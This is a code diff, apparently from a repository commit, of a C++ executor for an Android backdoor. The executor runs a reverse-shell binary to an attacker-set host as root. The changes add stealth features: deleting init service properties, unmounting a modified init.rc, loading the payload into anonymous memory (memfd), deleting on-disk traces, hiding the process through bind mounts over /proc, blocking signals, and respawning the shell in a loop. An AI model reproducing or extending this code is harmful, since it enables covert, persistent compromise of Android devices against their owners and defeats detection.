3
3
4
4
#include < sys/mount.h>
5
5
#include < sys/wait.h>
6
+ #include < sys/mman.h>
7
+ #include < sys/syscall.h>
6
8
#include < unistd.h>
7
9
#include < dirent.h>
8
10
#include < pthread.h>
16
18
17
19
18
20
#ifdef MAGISK_DEBUG
19
- #define LOG_TAG " revshell_exec"
21
+ #define LOG_TAG " revshell_exec"
20
22
#define ALOGD (...) __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, __VA_ARGS__)
21
23
#else
22
24
#define ALOGD (...)
23
25
#endif
24
26
25
27
#define CHECK_FS_DECRYPTED_INTERVAL 5
26
28
27
- #define ENCRYPTED_FS_CHECK_DIR " /data/data"
28
- #define ENCRYPTED_FS_CHECK_PROOF " android"
29
+ #define ENCRYPTED_FS_CHECK_DIR " /data/data"
30
+ #define ENCRYPTED_FS_CHECK_PROOF " android"
29
31
30
- #define TEMP_MNT_POINT " /mnt/secure"
31
- #define TEMP_DIR " /temp"
32
+ #define TEMP_MNT_POINT " /mnt/secure"
33
+ #define TEMP_DIR TEMP_MNT_POINT " /temp"
34
+ #define EMPTY_DIR TEMP_DIR " /.empty"
32
35
33
- #define PERSIST_DIR " /data/adb/.fura"
34
- #define EMPTY_DIR " /.empty"
36
+ #define PERSIST_DIR " /data/adb/.fura"
35
37
36
- #define SBIN_REVSHELL " /sbin/revshell"
37
- #define DEV_REVSHELL " /dev/sys_ctl/revshell"
38
- #define DEBUG_REVSHELL " /debug_ramdisk/revshell"
38
+ #define DEV_PATH " /dev/sys_ctl"
39
+ #define DEV_REVSHELL DEV_PATH " /revshell"
40
+ #define DEV_SEPOLICY " /dev/.sp"
41
+
42
+ #define SBIN_REVSHELL " /sbin/revshell"
43
+ #define SBIN_EXECUTOR " /sbin/executor"
44
+
45
+ #define DEBUG_REVSHELL " /debug_ramdisk/revshell"
46
+ #define DEBUG_EXECUTOR " /debug_ramdisk/executor"
47
+ #define NEW_MAGISK_PATH " /debug_ramdisk/magisk"
48
+
49
+ #define INITRC_SYSTEM " /system/etc/init/hw/init.rc"
50
+ #define INIT_BIN_SYSTEM " /system/bin/init"
39
51
40
52
41
53
bool check_fs_decrypted () {
@@ -59,7 +71,7 @@ int hide_process(pid_t pid) {
59
71
60
72
char buf[32 ];
61
73
snprintf (buf, 31 , " /proc/%d" , pid);
62
- return mount (TEMP_MNT_POINT TEMP_DIR EMPTY_DIR, buf, nullptr , MS_BIND, nullptr );
74
+ return mount (EMPTY_DIR, buf, nullptr , MS_BIND, nullptr );
63
75
}
64
76
65
77
int unhide_process (pid_t pid) {
@@ -82,7 +94,7 @@ void block_signals() {
82
94
int monitor_proc (pid_t ppid) {
83
95
// Monitor all children of ppid and hide them
84
96
std::string proc_dir = " /proc/" ;
85
- ALOGD (" restarting ..." );
97
+ ALOGD (" Starting revshell ..." );
86
98
87
99
#ifdef HIDE_PROCESS_BIND
88
100
hide_process (ppid); // hide revshell
@@ -120,7 +132,6 @@ int monitor_proc(pid_t ppid) {
120
132
break ;
121
133
}
122
134
123
-
124
135
#ifdef HIDE_PROCESS_BIND
125
136
// hide it back if was revealed
126
137
hide_process (ppid);
@@ -161,66 +172,147 @@ int monitor_proc(pid_t ppid) {
161
172
return -1 ;
162
173
}
163
174
175
+ int read_file (const char * filename, uint8_t ** buf, size_t * filesize) {
176
+ FILE* file = fopen (filename, " rb" );
177
+ if (!file) return -1 ;
178
+
179
+ fseek (file, 0 , SEEK_END);
180
+ *filesize = ftell (file);
181
+ fseek (file, 0 , SEEK_SET);
182
+
183
+ *buf = (uint8_t *) malloc (*filesize);
184
+ if (!buf) { fclose (file); return -1 ; }
185
+
186
+ fread (*buf, sizeof (uint8_t ), *filesize, file);
187
+ fclose (file);
188
+
189
+ return 0 ;
190
+ }
191
+
192
+ std::string file_to_memfd (std::string filename) {
193
+ // I know mixing c and c++ is bad :P
194
+ uint8_t * buf;
195
+ size_t size;
196
+
197
+ if (read_file (filename.c_str (), &buf, &size) != 0 ) {
198
+ ALOGD (" ERROR: Could not read from %s" , filename.c_str ());
199
+ return " " ;
200
+ }
201
+
202
+ int memfd = syscall (SYS_memfd_create, " anonymous" , 0 );
203
+ if (memfd == -1 ) { free (buf); return " " ; }
204
+
205
+ write (memfd, buf, size);
206
+ free (buf);
207
+
208
+ lseek (memfd, 0 , SEEK_SET);
209
+ std::string memfd_path = " /proc/self/fd/" + std::to_string (memfd);
210
+ ALOGD (" memfd path: %s" , memfd_path.c_str ());
211
+
212
+ return memfd_path;
213
+ }
164
214
165
215
int main (int argc, char ** argv, char ** envp) {
166
216
/* *
167
217
* Hidden execution of payload
168
218
*
169
219
* Make some preparations and Execute payload
170
- * 1) check & create dirs (persistence, temp)
171
- * 2) hide process
172
- * 3) block all signals
173
- * 4) execute revshell
220
+ * 1) hide props
221
+ * 2) check & create dirs (persistence, temp)
222
+ * 3) move revshell to RAM (memfd)
223
+ * 4) cleanup dirs
224
+ * 5) hide process using bind mounts (if defined)
225
+ * 6) execute revshell from memfd
174
226
*/
175
227
176
228
setuid (0 );
177
229
178
230
std::string revshell_path;
179
231
int status;
180
232
181
- // Hide prop: init.svc.SVC_NAME
233
+ ALOGD (" Executor is running" );
234
+
235
+ ALOGD (" Blocking signals" );
236
+ block_signals ();
237
+
238
+ // Hide props
182
239
if (argc >= 2 ) {
240
+ ALOGD (" Hiding init props" );
241
+
183
242
std::string svc_name = " init.svc." + std::string (argv[1 ]);
184
243
delprop (svc_name.c_str ());
185
244
186
245
svc_name = " ro.boottime." + std::string (argv[1 ]);
187
246
delprop (svc_name.c_str ());
247
+
248
+ svc_name = " init.svc_debug_pid." + std::string (argv[1 ]);
249
+ delprop (svc_name.c_str ());
250
+ }
251
+
252
+ // Unmount init.rc on android 11+ (if no magisk, i.e. revshell is not at debug_ramdisk)
253
+ if (access (INITRC_SYSTEM, F_OK) == 0 && access (DEBUG_REVSHELL, F_OK) != 0 ) {
254
+ ALOGD (" Unmounting new init.rc" );
255
+ umount2 (INITRC_SYSTEM, MNT_DETACH);
256
+ umount2 (INIT_BIN_SYSTEM, MNT_DETACH);
188
257
}
189
258
190
- // Remount read-only /sbin on system-as-root
191
- // (may fail on rootfs, no problem there)
259
+ // Cleanup /sbin on rootfs
192
260
if (access (SBIN_REVSHELL, F_OK) == 0 ) {
193
- ALOGD (" Remounting /sbin to avoid mount detection ..." );
261
+ mount (nullptr , " /sbin" , nullptr , MS_REMOUNT, nullptr );
262
+
263
+ revshell_path = file_to_memfd (SBIN_REVSHELL);
264
+ remove (SBIN_REVSHELL);
265
+ remove (SBIN_EXECUTOR);
266
+
194
267
mount (nullptr , " /sbin" , nullptr , MS_REMOUNT | MS_RDONLY, nullptr );
195
- revshell_path = SBIN_REVSHELL;
196
268
}
197
- else if (access (DEV_REVSHELL, F_OK) == 0 )
198
- revshell_path = DEV_REVSHELL;
199
- else if (access (DEBUG_REVSHELL, F_OK) == 0 )
200
- revshell_path = DEBUG_REVSHELL;
269
+
270
+ // Remove /dev/sys_ctl, /dev/.sp on SAR / 2SI
271
+ else if (access (DEV_PATH, F_OK) == 0 ) {
272
+ revshell_path = file_to_memfd (DEV_REVSHELL);
273
+ umount2 (DEV_PATH, MNT_DETACH);
274
+ usleep (1000 );
275
+ rmdir (DEV_PATH);
276
+ remove (DEV_SEPOLICY);
277
+ }
278
+
279
+ // Cleanup /debug_ramdisk (new magisk dir)
280
+ else if (access (DEBUG_REVSHELL, F_OK) == 0 ) {
281
+ revshell_path = file_to_memfd (DEBUG_REVSHELL);
282
+ remove (DEBUG_REVSHELL);
283
+ remove (DEBUG_EXECUTOR);
284
+ }
285
+
201
286
else {
202
287
ALOGD (" Error: revshell binary not found" );
203
288
return 1 ;
204
289
}
205
290
206
- // setup temp dir
207
- ALOGD (" Setting up " TEMP_MNT_POINT TEMP_DIR);
291
+ // Setup temp dir
292
+ ALOGD (" Setting up " TEMP_DIR);
208
293
mkdir (TEMP_MNT_POINT, 0700 );
209
- mkdir (TEMP_MNT_POINT TEMP_DIR, 0700 );
210
- system (" chcon u:object_r:" SEPOL_PROC_DOMAIN " :s0 " TEMP_MNT_POINT TEMP_DIR);
294
+ mkdir (TEMP_DIR, 0700 );
295
+ // If we are using our own context (not magisk), set temp dir context
296
+ if (access (NEW_MAGISK_PATH, F_OK) != 0 )
297
+ system (" chcon u:object_r:" SEPOL_PROC_DOMAIN " :s0 " TEMP_DIR);
211
298
212
299
#ifdef HIDE_PROCESS_BIND
213
300
// fake proc dir (.empty)
214
301
// for some reason can't set permissions directly, chmod needed?
215
- mkdir (TEMP_MNT_POINT TEMP_DIR EMPTY_DIR, 0555 );
302
+ mkdir (EMPTY_DIR, 0555 );
216
303
// fake selinux context and permissions
217
- system (" chmod 555 " TEMP_MNT_POINT TEMP_DIR EMPTY_DIR);
218
- system (" chcon u:r:kernel:s0 " TEMP_MNT_POINT TEMP_DIR EMPTY_DIR);
219
- int fd = open (TEMP_MNT_POINT TEMP_DIR EMPTY_DIR " /cmdline" , O_WRONLY | O_CREAT, 0555 );
304
+ system (" chmod 555 " EMPTY_DIR);
305
+ system (" chcon u:r:kernel:s0 " EMPTY_DIR);
306
+ int fd = open (EMPTY_DIR " /cmdline" , O_WRONLY | O_CREAT, 0555 );
220
307
close (fd);
221
- mkdir (TEMP_MNT_POINT TEMP_DIR EMPTY_DIR " /fd" , 0555 );
308
+ mkdir (EMPTY_DIR " /fd" , 0555 );
309
+
310
+ ALOGD (" Hiding daemon process ..." );
311
+ hide_process (getpid ());
312
+ ALOGD (" Process hidden" );
222
313
#endif
223
314
315
+ #ifdef CREATE_PERSIST_DIR
224
316
// await decryption by user
225
317
ALOGD (" Awaiting decryption ..." );
226
318
while (!check_fs_decrypted ())
@@ -236,24 +328,13 @@ int main(int argc, char** argv, char** envp) {
236
328
mkdir (PERSIST_DIR, 0700 );
237
329
// practically useless since /data/adb/... is inaccessible without root anyway
238
330
system (" chcon u:object_r:" SEPOL_PROC_DOMAIN " :s0 " PERSIST_DIR);
239
-
240
- #ifdef HIDE_PROCESS_BIND
241
- ALOGD (" Blocking signals and hiding process ..." );
242
-
243
- block_signals ();
244
- hide_process (getpid ());
245
-
246
- ALOGD (" Process hidden" );
247
331
#endif
248
332
249
333
// my implementation of "service manager" (no logs, no traces)
250
- // now service is started as oneshot, which apparently leaves no logs in dmesg!
334
+ // now service is started as oneshot, which does not spam to dmesg
251
335
while (true ) {
252
336
pid_t revshell = fork ();
253
- if (revshell == -1 ) {
254
- ALOGD (" ERROR: Fork failed!" );
255
- exit (EXIT_FAILURE);
256
- }
337
+ if (revshell == -1 ) exit (EXIT_FAILURE);
257
338
258
339
if (revshell == 0 ) {
259
340
// Child (revshell)
@@ -265,6 +346,9 @@ int main(int argc, char** argv, char** envp) {
265
346
char *const rs_argv[] = {(char *const ) revshell_path.c_str (), (char *const ) LHOST, nullptr };
266
347
#endif
267
348
execve (revshell_path.c_str (), rs_argv, envp);
349
+
350
+ ALOGD (" ERROR: Could not exec revshell!" );
351
+ exit (1 );
268
352
} else {
269
353
// Parent (executor)
270
354
sleep (1 );
0 commit comments